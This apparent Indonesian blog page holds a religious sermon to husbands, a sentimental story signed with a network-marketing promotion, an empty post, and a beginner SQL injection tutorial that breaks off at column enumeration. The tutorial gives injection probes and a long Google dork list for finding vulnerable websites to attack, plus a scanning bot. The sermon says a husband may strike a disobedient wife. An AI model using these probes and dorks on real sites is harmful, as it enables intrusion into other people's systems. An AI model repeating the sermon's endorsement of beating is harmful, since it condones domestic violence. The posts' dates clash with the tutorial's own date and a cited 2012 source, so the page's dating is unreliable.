Demo Blog

Renungan Hikmah Untuk Suami Sholeh

by Ahmad Sutanto on Nov.22, 2009, under

Wahai suami sholeh…tiada perhiasan yang paling indah didunia ini kecuali istri yang sholehah, maka didiklah istrimu menjadi wanita yang dikatakan Rasulullah itu, agar engkau menjadi suami yang sangat bahagia didunia dan diakhirat. Karena jika istrimu menjadi wanita yang sholehah maka ia akan lebih tau bagaimana cara membahagiakanmu. Engkau telah menikahinya dan menjadikanya halal bagimu dengan akad sya’ri penuh Islami. Maka berarti engkau telah siap untuk menjaga, melindungi dan mendidiknya dengan pendidikan rabbaniyah Islamiyah. Semua tanggung jawab telah berada dipunggungmu, maka jangan sia-siakan istrimu dengan membiarkanya begitu saja dirumah tanpa pendidikan yang terarah, sekarang engkau telah menjadi suami sekaligus guru baginya. Pelindung dan penyejuk hatinya. Maka lindungilah istrimu dengan pendidikan nabawiyah Islamiyah. Seorang suami sholeh akan selalu membahagiakan istrinya, layaknya istri sholehah selalu membahagiakan suaminya, dan merekapun saling membahagiakan, sehingga terciptalah rumah tangga yang sakinah, mawaddah wa rahmah. Sekarang engkau telah menjadi seorang pemimpin, yaitu pemimpin untuk rumah tanggamu. Maka yang harus engkau lakukan adalah melindungi istri dan anak-anakmu. Jangan mudah melepas tangan untuk menyakiti istrimu, karena dia adalah makhluk Allah yang harus engkau didik dan arahkan dengan baik. Kesalahan yang ia lakukan adalah bukan aib baginya, akan tetapi kekurangan yang harus engkau lengkapi. Dan cara melengkapinya adalah bukan dengan emosi dan kekerasan. Tapi dengan pengarahan dan peringatan yang baik. Semua itu sudah menjadi petunjuk Rasulmu, jika ia masih mengulang kesalahan itu maka peringatilah dengan penuh lembut sampai ia sadar dan thobat serta kembali kepada Allah. Namun jika masih terulang, maka hukumilah dia dengan cara berpisah tidur dengannya. Dan jika masih terulang maka tidaklah mengapa engkau memukulnya dengan pukulan yang tak membekas luka tapi membekas kesadaran. Semoga Allah merahmati rumah tangga kalian dengan saling memahami antara satu sama lain sehingga terwujud rumah tangga yang Islami sesuai dengan keinginan Allah dan Rasulmu. Wahai suami sholeh…engkau harus sadar, bahwa dalam rumah tangga kadang terjadi perbedaan antara dirimu dengan istrimu. Baik itu perbedaan sifat, karakter  atau pengetahuan..Maka jangan jadikan perbedaan itu sebagai pemacu permasalah yang menimbulkan pertengkaran dan kerusakan rumah tanggamu. Tapi sikapilah semua perbedaan itu dengan penuh dewasa dan hati yang tenang. Istrimu bukanlah malaikat, tapi manusia biasa yang banyak kekurangan dan kadang banyak melakukan kesalahan seperti halnya engkau juga manusia biasa yang penuh dengan kekurangan. Jangan banyak menuntut yang diluar kemampuan istrimu. Bantulah dia jika dalam kedaan sulit, sepertihalnya Rasulmu mencontohkan semua itu kepada para istrinya. Berlemah lembutlah dengan istrimu, engkau adalah penyempurna segala kekurangan yang ada dalam dirinya. Ketika engkau dihadapkan dengan permasalahan yang serius maka jauhilah emosi dan hawa nafsu yang akan menghancurkan rumah tanggamu. Akal yang sehat dan pikiran yang  jernih yang harus engkau kedepankan dalam menghadapi permasalahan itu. Agar semua permasalahan bisa engkau atasi dengan penuh bijak. Keharmonisan rumah tangga yang selalu engkau jaga. Jika engkau sedang sangat marah pada istrimu dikarenakan ulahnya yang kadang membuat hatimu jengkel, maka ingatlah memori-memori  indahmu selama bersamanya. Ingatlah bagaimana ketika pertama kali engkau semangat  ingin menikahinya, yang kemudian dengan sekuat  tenaga penuh susah payah melamarnya, ingatlah ketika masa-masa indah dibulan madumu. Maka insya Allah rasa marah dan kesalmu akan berganti  bahagia. Haruskah segala pengorbananmu selama ini disia-siakan oleh emosi dan marah sesaat???  Ingatlah, bahwa emosi dan marah memang manusiawi tapi tidak akan menjadi manusiawi jika dituruti sehingga berujung pada kehancuran rumah tanggamu. Perempuan akan tetap menjadi perempuan, yang mereka memiliki sifat lemah dan mudah cemburu. Maka tanamkanlah kepercayaan dia padamu.  Dengan cara engkau selalu melindungi diri dari hal-hal yang menjadikan dirimu sendiri hina. Selingkuh itu adalah haram, istrimu yang sholehah selalu setia menunggumu dirumah, maka janganlah lagi engkau cari kenikmatan sesaat diluar sana. Karena wanita diluar sana umpa makanan busuk yang menimbulkan penyakit bagimu. Sedangkan istri sholehahmu dirumah adalah makanan segar yang akan menyegarkan  jiwa dan ragamu. Jangan bebani istrimu dengan pekerjaan yang berat. Mencari rizki adalah kewajibanmu. Lindungi istrimu dari fitnah zaman. Jangan biarkan dia keluar rumah kecuali semua tubuhnya terbungkus rapi, kecuali kedua bola matanya. Karena semua itu untuk menghindari fitnah yang akan menimpa istrimu. Tidak berhak laki-laki yang bukan mahramnya memandang wajahnya. Maka lindungilah dia dari segala fitnah itu. Engkau adalah pempin baginya, yang dimana semua itu akan diminta pertanggung jawabanmu dihadapan Allah nanti. semoga engkau yang membaca ini menjadi suami hanya untuk istrimu...dalam arti, engkau selalu berusaha menjadi suami sholeh yang tidak mudah tergoda dengan wanita selain istrimu. suami yg selalu menjaga kehormatan keluarga, yg selalu beribadah pada allah dan sayang pada istri. Amin Yaa Rabbal 'Alamin Sumber : http://bulletinmustaqim.blogspot.com/2012/08/renungan-hikmah-untuk-suami-sholeh.html?m=1
0 komentar more...

Cerita mengharukan 1

by Ahmad Sutanto on Nov.22, 2009, under

Cerita Nyata yang Sangat Mengharukan

”Aku menghabiskan sepuluh tahun untuk membencinya, tetapi menghabiskan hampir sepanjang sisa hidupku untuk mencintainya. Aku bebas darinya karena kematian, tapi aku tak pernah bisa bebas dari cintanya yang begitu tulus”

Aku membencinya, itulah yang selalu kubisikkan dalam hatiku hampir sepanjang kebersamaan kami. Meskipun menikahinya, aku tak pernah benar-benar menyerahkan hatiku padanya. Menikah karena paksaan orangtua, membuatku membenci suamiku sendiri.

Walaupun menikah terpaksa, aku tak pernah menunjukkan sikap benciku. Meskipun membencinya, setiap hari aku melayaninya sebagaimana tugas istri. Aku terpaksa melakukan semuanya karena aku tak punya pegangan lain. Beberapa kali muncul keinginan meninggalkannya tapi aku tak punya kemampuan finansial dan dukungan siapapun. Kedua orangtuaku sangat menyayangi suamiku karena menurut mereka, suamiku adalah sosok suami sempurna untuk putri satu-satunya mereka.

Ketika menikah, aku menjadi istri yang teramat manja. Kulakukan segala hal sesuka hatiku. Suamiku juga memanjakanku sedemikian rupa. Aku tak pernah benar-benar menjalani tugasku sebagai seorang istri. Aku selalu bergantung padanya karena aku menganggap hal itu sudah seharusnya setelah apa yang ia lakukan padaku. Aku telah menyerahkan hidupku padanya sehingga tugasnyalah membuatku bahagia dengan menuruti semua keinginanku.

Di rumah kami, akulah ratunya. Tak ada seorangpun yang berani melawan. Jika ada sedikit saja masalah, aku selalu menyalahkan suamiku. Aku tak suka handuknya yang basah yang diletakkan di tempat tidur, aku sebal melihat ia meletakkan sendok sisa mengaduk susu di atas meja dan meninggalkan bekas lengket, aku benci ketika ia memakai komputerku meskipun hanya untuk menyelesaikan pekerjaannya. Aku marah kalau ia menggantung bajunya di kapstock bajuku, aku juga marah kalau ia memakai pasta gigi tanpa memencetnya dengan rapi, aku marah kalau ia menghubungiku hingga berkali-kali ketika aku sedang bersenang-senang dengan teman-temanku.

Tadinya aku memilih untuk tidak punya anak. Meskipun tidak bekerja, tapi aku tak mau mengurus anak. Awalnya dia mendukung dan akupun ber-KB dengan pil. Tapi rupanya ia menyembunyikan keinginannya begitu dalam sampai suatu hari aku lupa minum pil KB dan meskipun ia tahu ia membiarkannya. Akupun hamil dan baru menyadarinya setelah lebih dari empat bulan, dokterpun menolak menggugurkannya.Itulah kemarahanku terbesar padanya. Kemarahan semakin bertambah ketika aku mengandung sepasang anak kembar dan harus mengalami kelahiran yang sulit. Aku memaksanya melakukan tindakan vasektomi agar aku tidak hamil lagi. Dengan patuh ia melakukan semua keinginanku karena aku mengancam akan meninggalkannya bersama kedua anak kami.

Waktu berlalu hingga anak-anak tak terasa berulang tahun yang ke-delapan. Seperti pagi-pagi sebelumnya, aku bangun paling akhir. Suami dan anak-anak sudah menungguku di meja makan. Seperti biasa, dialah yang menyediakan sarapan pagi dan mengantar anak-anak ke sekolah. Hari itu, ia mengingatkan kalau hari itu ada peringatan ulang tahun ibuku. Aku hanya menjawab dengan anggukan tanpa mempedulikan kata-katanya yang mengingatkan peristiwa tahun sebelumnya, saat itu aku memilih ke mal dan tidak hadir di acara ibu. Yaah, karena merasa terjebak dengan perkawinanku, aku juga membenci kedua orangtuaku.

Sebelum ke kantor, biasanya suamiku mencium pipiku saja dan diikuti anak-anak. Tetapi hari itu, ia juga memelukku sehingga anak-anak menggoda ayahnya dengan ribut. Aku berusaha mengelak dan melepaskan pelukannya. Meskipun akhirnya ikut tersenyum bersama anak-anak. Ia kembali mencium hingga beberapa kali di depan pintu, seakan-akan berat untuk pergi.

Ketika mereka pergi, akupun memutuskan untuk ke salon. Menghabiskan waktu ke salon adalah hobiku. Aku tiba di salon langgananku beberapa jam kemudian. Di salon aku bertemu salah satu temanku sekaligus orang yang tidak kusukai. Kami mengobrol dengan asyik termasuk saling memamerkan kegiatan kami. Tiba waktunya aku harus membayar tagihan salon, namun betapa terkejutnya aku ketika menyadari bahwa dompetku tertinggal di rumah. Meskipun merogoh tasku hingga bagian terdalam aku tak menemukannya di dalam tas. Sambil berusaha mengingat-ingat apa yang terjadi hingga dompetku tak bisa kutemukan aku menelepon suamiku dan bertanya.

“Maaf sayang, kemarin Farhan meminta uang jajan dan aku tak punya uang kecil maka kuambil dari dompetmu. Aku lupa menaruhnya kembali ke tasmu, kalau tidak salah aku letakkan di atas meja kerjaku.” Katanya menjelaskan dengan lembut.

Dengan marah, aku mengomelinya dengan kasar. Kututup telepon tanpa menunggunya selesai bicara. Tak lama kemudian, handphoneku kembali berbunyi dan meski masih kesal, akupun mengangkatnya dengan setengah membentak. “Apalagi??”

“Sayang, aku pulang sekarang, aku akan ambil dompet dan mengantarnya padamu. Sayang sekarang ada dimana?” tanya suamiku cepat , kuatir aku menutup telepon kembali. Aku menyebut nama salonku dan tanpa menunggu jawabannya lagi, aku kembali menutup telepon. Aku berbicara dengan kasir dan mengatakan bahwa suamiku akan datang membayarkan tagihanku. Si empunya Salon yang sahabatku sebenarnya sudah membolehkanku pergi dan mengatakan aku bisa membayarnya nanti kalau aku kembali lagi. Tapi rasa malu karena “musuh”ku juga ikut mendengarku ketinggalan dompet membuatku gengsi untuk berhutang dulu.

Hujan turun ketika aku melihat keluar dan berharap mobil suamiku segera sampai. Menit berlalu menjadi jam, aku semakin tidak sabar sehingga mulai menghubungi handphone suamiku. Tak ada jawaban meskipun sudah berkali-kali kutelepon. Padahal biasanya hanya dua kali berdering teleponku sudah diangkatnya. Aku mulai merasa tidak enak dan marah.

Teleponku diangkat setelah beberapa kali mencoba. Ketika suara bentakanku belum lagi keluar, terdengar suara asing menjawab telepon suamiku. Aku terdiam beberapa saat sebelum suara lelaki asing itu memperkenalkan diri, “selamat siang, ibu. Apakah ibu istri dari bapak armandi?” kujawab pertanyaan itu segera. Lelaki asing itu ternyata seorang polisi, ia memberitahu bahwa suamiku mengalami kecelakaan dan saat ini ia sedang dibawa ke rumah sakit kepolisian. Saat itu aku hanya terdiam dan hanya menjawab terima kasih. Ketika telepon ditutup, aku berjongkok dengan bingung. Tanganku menggenggam erat handphone yang kupegang dan beberapa pegawai salon mendekatiku dengan sigap bertanya ada apa hingga wajahku menjadi pucat seputih kertas.

Entah bagaimana akhirnya aku sampai di rumah sakit. Entah bagaimana juga tahu-tahu seluruh keluarga hadir di sana menyusulku. Aku yang hanya diam seribu bahasa menunggu suamiku di depan ruang gawat darurat. Aku tak tahu harus melakukan apa karena selama ini dialah yang melakukan segalanya untukku. Ketika akhirnya setelah menunggu beberapa jam, tepat ketika kumandang adzan maghrib terdengar seorang dokter keluar dan menyampaikan berita itu. Suamiku telah tiada. Ia pergi bukan karena kecelakaan itu sendiri, serangan stroke-lah yang menyebabkan kematiannya. Selesai mendengar kenyataan itu, aku malah sibuk menguatkan kedua orangtuaku dan orangtuanya yang shock. Sama sekali tak ada airmata setetespun keluar di kedua mataku. Aku sibuk menenangkan ayah ibu dan mertuaku. Anak-anak yang terpukul memelukku dengan erat tetapi kesedihan mereka sama sekali tak mampu membuatku menangis.

Ketika jenazah dibawa ke rumah dan aku duduk di hadapannya, aku termangu menatap wajah itu. Kusadari baru kali inilah aku benar-benar menatap wajahnya yang tampak tertidur pulas. Kudekati wajahnya dan kupandangi dengan seksama. Saat itulah dadaku menjadi sesak teringat apa yang telah ia berikan padaku selama sepuluh tahun kebersamaan kami. Kusentuh perlahan wajahnya yang telah dingin dan kusadari inilah kali pertama kali aku menyentuh wajahnya yang dulu selalu dihiasi senyum hangat. Airmata merebak dimataku, mengaburkan pandanganku. Aku terkesiap berusaha mengusap agar airmata tak menghalangi tatapan terakhirku padanya, aku ingin mengingat semua bagian wajahnya agar kenangan manis tentang suamiku tak berakhir begitu saja. Tapi bukannya berhenti, airmataku semakin deras membanjiri kedua pipiku. Peringatan dari imam mesjid yang mengatur prosesi pemakaman tidak mampu membuatku berhenti menangis. Aku berusaha menahannya, tapi dadaku sesak mengingat apa yang telah kuperbuat padanya terakhir kali kami berbicara.

Aku teringat betapa aku tak pernah memperhatikan kesehatannya. Aku hampir tak pernah mengatur makannya. Padahal ia selalu mengatur apa yang kumakan. Ia memperhatikan vitamin dan obat yang harus kukonsumsi terutama ketika mengandung dan setelah melahirkan. Ia tak pernah absen mengingatkanku makan teratur, bahkan terkadang menyuapiku kalau aku sedang malas makan. Aku tak pernah tahu apa yang ia makan karena aku tak pernah bertanya. Bahkan aku tak tahu apa yang ia sukai dan tidak disukai. Hampir seluruh keluarga tahu bahwa suamiku adalah penggemar mie instant dan kopi kental. Dadaku sesak mendengarnya, karena aku tahu ia mungkin terpaksa makan mie instant karena aku hampir tak pernah memasak untuknya. Aku hanya memasak untuk anak-anak dan diriku sendiri. Aku tak perduli dia sudah makan atau belum ketika pulang kerja. Ia bisa makan masakanku hanya kalau bersisa. Iapun pulang larut malam setiap hari karena dari kantor cukup jauh dari rumah. Aku tak pernah mau menanggapi permintaannya untuk pindah lebih dekat ke kantornya karena tak mau jauh-jauh dari tempat tinggal teman-temanku.

Saat pemakaman, aku tak mampu menahan diri lagi. Aku pingsan ketika melihat tubuhnya hilang bersamaan onggokan tanah yang menimbun. Aku tak tahu apapun sampai terbangun di tempat tidur besarku. Aku terbangun dengan rasa sesal memenuhi rongga dadaku. Keluarga besarku membujukku dengan sia-sia karena mereka tak pernah tahu mengapa aku begitu terluka kehilangan dirinya.

Hari-hari yang kujalani setelah kepergiannya bukanlah kebebasan seperti yang selama ini kuinginkan tetapi aku malah terjebak di dalam keinginan untuk bersamanya. Di hari-hari awal kepergiannya, aku duduk termangu memandangi piring kosong. Ayah, Ibu dan ibu mertuaku membujukku makan. Tetapi yang kuingat hanyalah saat suamiku membujukku makan kalau aku sedang mengambek dulu. Ketika aku lupa membawa handuk saat mandi, aku berteriak memanggilnya seperti biasa dan ketika malah ibuku yang datang, aku berjongkok menangis di dalam kamar mandi berharap ia yang datang. Kebiasaanku yang meneleponnya setiap kali aku tidak bisa melakukan sesuatu di rumah, membuat teman kerjanya kebingungan menjawab teleponku. Setiap malam aku menunggunya di kamar tidur dan berharap esok pagi aku terbangun dengan sosoknya di sebelahku.

Dulu aku begitu kesal kalau tidur mendengar suara dengkurannya, tapi sekarang aku bahkan sering terbangun karena rindu mendengarnya kembali. Dulu aku kesal karena ia sering berantakan di kamar tidur kami, tetapi kini aku merasa kamar tidur kami terasa kosong dan hampa. Dulu aku begitu kesal jika ia melakukan pekerjaan dan meninggalkannya di laptopku tanpa me-log out, sekarang aku memandangi komputer, mengusap tuts-tutsnya berharap bekas jari-jarinya masih tertinggal di sana. Dulu aku paling tidak suka ia membuat kopi tanpa alas piring di meja, sekarang bekasnya yang tersisa di sarapan pagi terakhirnyapun tidak mau kuhapus. Remote televisi yang biasa disembunyikannya, sekarang dengan mudah kutemukan meski aku berharap bisa mengganti kehilangannya dengan kehilangan remote. Semua kebodohan itu kulakukan karena aku baru menyadari bahwa dia mencintaiku dan aku sudah terkena panah cintanya.

Aku juga marah pada diriku sendiri, aku marah karena semua kelihatan normal meskipun ia sudah tidak ada. Aku marah karena baju-bajunya masih di sana meninggalkan baunya yang membuatku rindu. Aku marah karena tak bisa menghentikan semua penyesalanku. Aku marah karena tak ada lagi yang membujukku agar tenang, tak ada lagi yang mengingatkanku sholat meskipun kini kulakukan dengan ikhlas. Aku sholat karena aku ingin meminta maaf, meminta maaf pada Allah karena menyia-nyiakan suami yang dianugerahi padaku, meminta ampun karena telah menjadi istri yang tidak baik pada suami yang begitu sempurna. Sholatlah yang mampu menghapus dukaku sedikit demi sedikit. Cinta Allah padaku ditunjukkannya dengan begitu banyak perhatian dari keluarga untukku dan anak-anak. Teman-temanku yang selama ini kubela-belain, hampir tak pernah menunjukkan batang hidung mereka setelah kepergian suamiku.

Empat puluh hari setelah kematiannya, keluarga mengingatkanku untuk bangkit dari keterpurukan. Ada dua anak yang menungguku dan harus kuhidupi. Kembali rasa bingung merasukiku. Selama ini aku tahu beres dan tak pernah bekerja. Semua dilakukan suamiku. Berapa besar pendapatannya selama ini aku tak pernah peduli, yang kupedulikan hanya jumlah rupiah yang ia transfer ke rekeningku untuk kupakai untuk keperluan pribadi dan setiap bulan uang itu hampir tak pernah bersisa. Dari kantor tempatnya bekerja, aku memperoleh gaji terakhir beserta kompensasi bonusnya. Ketika melihatnya aku terdiam tak menyangka, ternyata seluruh gajinya ditransfer ke rekeningku selama ini. Padahal aku tak pernah sedikitpun menggunakan untuk keperluan rumah tangga. Entah darimana ia memperoleh uang lain untuk memenuhi kebutuhan rumah tangga karena aku tak pernah bertanya sekalipun soal itu.Yang aku tahu sekarang aku harus bekerja atau anak-anakku takkan bisa hidup karena jumlah gaji terakhir dan kompensasi bonusnya takkan cukup untuk menghidupi kami bertiga. Tapi bekerja di mana? Aku hampir tak pernah punya pengalaman sama sekali. Semuanya selalu diatur oleh dia.

Kebingunganku terjawab beberapa waktu kemudian. Ayahku datang bersama seorang notaris. Ia membawa banyak sekali dokumen. Lalu notaris memberikan sebuah surat. Surat pernyataan suami bahwa ia mewariskan seluruh kekayaannya padaku dan anak-anak, ia menyertai ibunya dalam surat tersebut tapi yang membuatku tak mampu berkata apapun adalah isi suratnya untukku.

Istriku Liliana tersayang,

Maaf karena harus meninggalkanmu terlebih dahulu, sayang. maaf karena harus membuatmu bertanggung jawab mengurus segalanya sendiri. Maaf karena aku tak bisa memberimu cinta dan kasih sayang lagi. Allah memberiku waktu yang terlalu singkat karena mencintaimu dan anak-anak adalah hal terbaik yang pernah kulakukan untukmu.

Seandainya aku bisa, aku ingin mendampingi sayang selamanya. Tetapi aku tak mau kalian kehilangan kasih sayangku begitu saja. Selama ini aku telah menabung sedikit demi sedikit untuk kehidupan kalian nanti. Aku tak ingin sayang susah setelah aku pergi. Tak banyak yang bisa kuberikan tetapi aku berharap sayang bisa memanfaatkannya untuk membesarkan dan mendidik anak-anak. Lakukan yang terbaik untuk mereka, ya sayang.

Jangan menangis, sayangku yang manja. Lakukan banyak hal untuk membuat hidupmu yang terbuang percuma selama ini. Aku memberi kebebasan padamu untuk mewujudkan mimpi-mimpi yang tak sempat kau lakukan selama ini. Maafkan kalau aku menyusahkanmu dan semoga Tuhan memberimu jodoh yang lebih baik dariku.

Teruntuk Farah, putri tercintaku. Maafkan karena ayah tak bisa mendampingimu. Jadilah istri yang baik seperti Ibu dan Farhan, ksatria pelindungku. Jagalah Ibu dan Farah. Jangan jadi anak yang bandel lagi dan selalu ingat dimanapun kalian berada, ayah akan disana melihatnya. Oke, Buddy!.

Aku terisak membaca surat itu, ada gambar kartun dengan kacamata yang diberi lidah menjulur khas suamiku kalau ia mengirimkan note.

Notaris memberitahu bahwa selama ini suamiku memiliki beberapa asuransi dan tabungan deposito dari hasil warisan ayah kandungnya. Suamiku membuat beberapa usaha dari hasil deposito tabungan tersebut dan usaha tersebut cukup berhasil meskipun dimanajerin oleh orang-orang kepercayaannya. Aku hanya bisa menangis terharu mengetahui betapa besar cintanya pada kami, sehingga ketika ajal menjemputnya ia tetap membanjiri kami dengan cinta.

Aku tak pernah berpikir untuk menikah lagi. Banyaknya lelaki yang hadir tak mampu menghapus sosoknya yang masih begitu hidup di dalam hatiku. Hari demi hari hanya kuabdikan untuk anak-anakku. Ketika orangtuaku dan mertuaku pergi satu persatu meninggalkanku selaman-lamanya, tak satupun meninggalkan kesedihan sedalam kesedihanku saat suamiku pergi.

Kini kedua putra putriku berusia duapuluh tiga tahun. Dua hari lagi putriku menikahi seorang pemuda dari tanah seberang. Putri kami bertanya, “Ibu, aku harus bagaimana nanti setelah menjadi istri, soalnya Farah kan ga bisa masak, ga bisa nyuci, gimana ya bu?”

Aku merangkulnya sambil berkata “Cinta sayang, cintailah suamimu, cintailah pilihan hatimu, cintailah apa yang ia miliki dan kau akan mendapatkan segalanya. Karena cinta, kau akan belajar menyenangkan hatinya, akan belajar menerima kekurangannya, akan belajar bahwa sebesar apapun persoalan, kalian akan menyelesaikannya atas nama cinta.”

Putriku menatapku, “seperti cinta ibu untuk ayah? Cinta itukah yang membuat ibu tetap setia pada ayah sampai sekarang?”Aku menggeleng, “bukan, sayangku. Cintailah suamimu seperti ayah mencintai ibu dulu, seperti ayah mencintai kalian berdua. Ibu setia pada ayah karena cinta ayah yang begitu besar pada ibu dan kalian berdua.”

Aku mungkin tak beruntung karena tak sempat menunjukkan cintaku pada suamiku. Aku menghabiskan sepuluh tahun untuk membencinya, tetapi menghabiskan hampir sepanjang sisa hidupku untuk mencintainya. Aku bebas darinya karena kematian, tapi aku tak pernah bisa bebas dari cintanya yang begitu tulus.

Itulah Cerita Nyata Yang sangat Sedih dan Mengharukan,
Semoga peristiwa ini bisa membuat kita belajar bersyukur dengan apa yang kita miliki,sebab :
Apa yang kita harapkan belum tentu kita dapatkan dan
apa yang kita dapatkan belum tentu itu yang kita harapkan ,
Tapi Percayalah Tuhan pasti memberikan Kita yang terbaik
(untuk/menurut kita dan untuk/menurut orang-orang yg kita cintai)
Silahkan share

Salam Diamond
Stefanus Sandy SE, MM
Diamond Director of Jeunesse Global
Building a Better Future Together
www.facebook.com/top888network
Support by http://www.top888.biz

0 komentar more...

Awan badai

by d0ntcry on Nov.22, 2009, under



























0 komentar more...

Belajar SQL Injection dasar

by d0ntcry on Nov.22, 2009, under

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
.::BELAJAR SQL INJECTION DASAR::.

Author : d0ntcry
Blog : http://d0nt-cry.blogspot.com
3.50 16 FEB 2010
FEAT. GOLIATH-MD2 and 234

Thankz : kamtiez-tukulesto-arianom-cimpli-pathloader
mbamboenk.owos.and you..
all member....
indonesiancoderTeam | kill-9 crew | SCTeam
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Assalamualaikum wr wb

Kita mulai langsung aja... kalo sudah mengerti jangan lupa lebih mendalami lagi tentang sql.. okey..
untuk mencari web vulner ato tidak
1. "-" [single mark] --> http://target.com/news.php?id=1- (id=-)
2. "'" [single quote] --> http://target.com/news.php?id=1' atao http://target.com/news.php?id='1 (id=null'/id='null)
3. "and 1=2" --> http://target.com/news.php?id=1 and 1=2 (can you see??)*
3. !sql scan dgn bug+dork yang sudah ada... :D
4. jalan-jalan di web tersebut and be creative.. ^^

*kenapa koq tanda seperti itu ya?wah..dapet dari google se katana itu 1=2 melihatkan kalo id tersebut nilainya ERROR,contoh:
1. news.php?id=1 and 1=2 <-- nilainya salah.lah piye?ra ketok ta matane siji iku yo siji.. mosok siji iku loro rek.. wkwkwk... dan efeknya artikel web menghilang.. sakti jeh!! ato menunjukan syntax error :D
2. news.php?id=1 and 1=1 <-- nilainya benar.artikel web kembali.no page error...

Pada akhir perintah selanjutnya gunakan tanda "/*" ato "--" ato "#" menandakan akhir perintah...

OK.. lets duit..

cari kata kuncinya dulu (dork).contoh :
[SPOILER]
inurl:"shredder-categories.php?id="
inurl:"tradeCategory.php?id="
inurl:"product_ranges_view.php?ID="
inurl:"shop_category.php?id="
inurl:"product_list.php?id="
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
[/SPOILER]

waaahh.. banyak bgt!! :D
lebih gampangnya join di irc cari channel yang ada bot scan sqlnya..
jalankan botnya --> !sql d0ntcrymanis.php?idku= indonesiancoderteam (!sql )
scriptnya bisa tnya ane di irc...

sampe mana ya tadi... hehehehe...
oia.. da dapet webnya yg vuln.. misal :

1. http://target.com/product_list.php?id=1' <- (You have an error in your SQL syntax....)
- kalo gak error lakukan percobaan2 lagi dengan menambahkan.. menghilangkan.. atao apalah pokknya error.. kalo gak error ya cari target lagi.. ^^ "gak ada keamanan web yg 100% aman" <-- gak berani ngomong kaya gitu.. belum jadi 31337 :D

2. mencari nomer togel... dengan memeriksa kolom
